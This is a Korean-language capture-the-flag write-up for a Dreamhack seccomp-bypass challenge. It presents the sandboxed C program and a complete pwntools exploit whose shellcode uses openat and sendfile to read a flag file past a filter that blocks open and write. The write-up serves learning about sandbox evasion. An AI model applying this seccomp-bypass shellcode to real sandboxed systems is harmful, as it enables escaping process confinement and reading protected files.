Bypass SECCOMP-1
The filter kills open, write, execve and execveat — but not openat or sendfile, and sendfile does read and write in one syscall.
Exploit Tech: Bypass SECCOMP에서 실습하는 문제입니다.
chaeeun@chaeeuns-MacBook-Air 8e711c2c-8fe7-4b64-af19-682509d08e82 % checksec ./bypass_seccomp
[*] '/Users/chaeeun/Desktop/8e711c2c-8fe7-4b64-af19-682509d08e82/bypass_seccomp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
Seccomp Bypass 란
Seccomp Bypass(세컴 우회)는 리눅스 커널의 보안 메커니즘인 Seccomp(Secure Computing mode) 필터링 정책을 무력화하여, 금지된 시스템 콜(System Call)을 강제로 실행하는 공격 기법을 뜻합니다.
- Seccomp: 프로세스가 사용할 수 있는 시스템 콜을 제한하여 특정 권한을 박탈하는 샌드박싱(Sandbox) 기법입니다. 예를 들어, 서버 공격에 자주 쓰이는 execve(시스템 명령어 실행) 콜을 금지하여 취약점이 터지더라도 해커가 권한을 획득하지 못하게 방어합니다.
- Bypass: 단어 그대로 방어벽을 ‘우회’하거나 통과한다는 의미입니다.
지난번에 푼 shell_basic 에 ORW exploitation 과 같다. 중요한 코드는 여기다.
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
SCMP_ACT_ALLOW는 기본적으로 모든 시스템 콜을 허용한다는 뜻이다. 그런데 다음 네 가지 규칙을 추가했다.
| Syscall | 기능 | 상태 |
|---|---|---|
open | 파일 열기 | 차단 |
openat | 파일 열기 | 허용 |
read | 파일 읽기 | 허용 |
write | 파일 쓰기 | 차단 |
execve | 프로그램 실행 | 차단 |
execveat | 프로그램 실행 | 차단 |
sendfile | 파일 데이터 전송 | 허용 |
exit | 프로세스 종료 | 허용 |
여기서 중요한부분은 open은 막았지만 openat은 막지 않았다는 것. 그래서 지난번처럼 따라서 일반적인 ORW 기법을 변형해서 사용할 수 있다.
그런데 이 문제에서는 open 말고도 write가 막혀 있다. openat 같이 대신 쓸수있는것도 없기때문에 write 를 우회해야한다. 하지만 write가 막혔다고 해서 모든 출력이 막힌 건 아니다. 예를 들어 sendfile을 사용하면 커널 내부에서 파일 데이터를 다른 FD로 전송할수있다. 밑엔 그렇게 짠 익스다.
익스플로잇
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug' # 문제 생기면 주석 해제
p = remote('host3.dreamhack.games', 14986)
shellcode = asm('''
/* fd = openat(AT_FDCWD, "/home/bypass_seccomp/flag", O_RDONLY) */
lea rdi, [rip + flag_path]
mov rsi, rdi /* rsi = pathname */
mov rdi, -100 /* AT_FDCWD */
xor rdx, rdx /* O_RDONLY */
mov rax, 257 /* openat */
syscall
/* sendfile(1, fd, 0, 0x100) */
mov rsi, rax /* in_fd = flag fd */
mov rdi, 1 /* out_fd = stdout */
xor rdx, rdx /* offset = NULL */
mov r10, 0x100 /* count */
mov rax, 40 /* sendfile */
syscall
flag_path:
.string "/home/bypass_seccomp/flag"
''')
p.sendafter(b'shellcode: ', shellcode)
p.interactive()
셸코드 뜯어보기
참고로 sendfile이 read+write를 한 방에 처리해버려서 read 는 빼버렸다. 각자에 함수 원형을 보면
int openat(
int dirfd,
const char *pathname,
int flags,
mode_t mode
);
이걸 어셈과 대조해보면 openat(-100, pathname, 0, 0); 인걸 알수있다.
| 인자 | 의미 |
|---|---|
-100 | AT_FDCWD. 현재 작업 디렉터리를 기준으로 경로 탐색 |
pathname | 열고자 하는 파일의 경로 |
0 | O_RDONLY. 읽기 전용으로 파일 열기 |
0 | mode. 파일 생성 권한 설정값 (여기서는 사용되지 않음) |
sendfile 은
ssize_t sendfile(
int out_fd,
int in_fd,
off_t *offset,
size_t count
);
자세히 하지는 않고, 보면 알겠지만 어셈은 대충 sendfile(1, fd, NULL, 0x100);
| 인자 | 의미 |
|---|---|
1 | out_fd. 데이터를 출력할 곳 (stdout) |
fd | in_fd. 데이터를 가져올 파일의 FD |
NULL | offset. 현재 파일 읽기 위치부터 시작 |
0x100 | count. 최대 256바이트 전송 |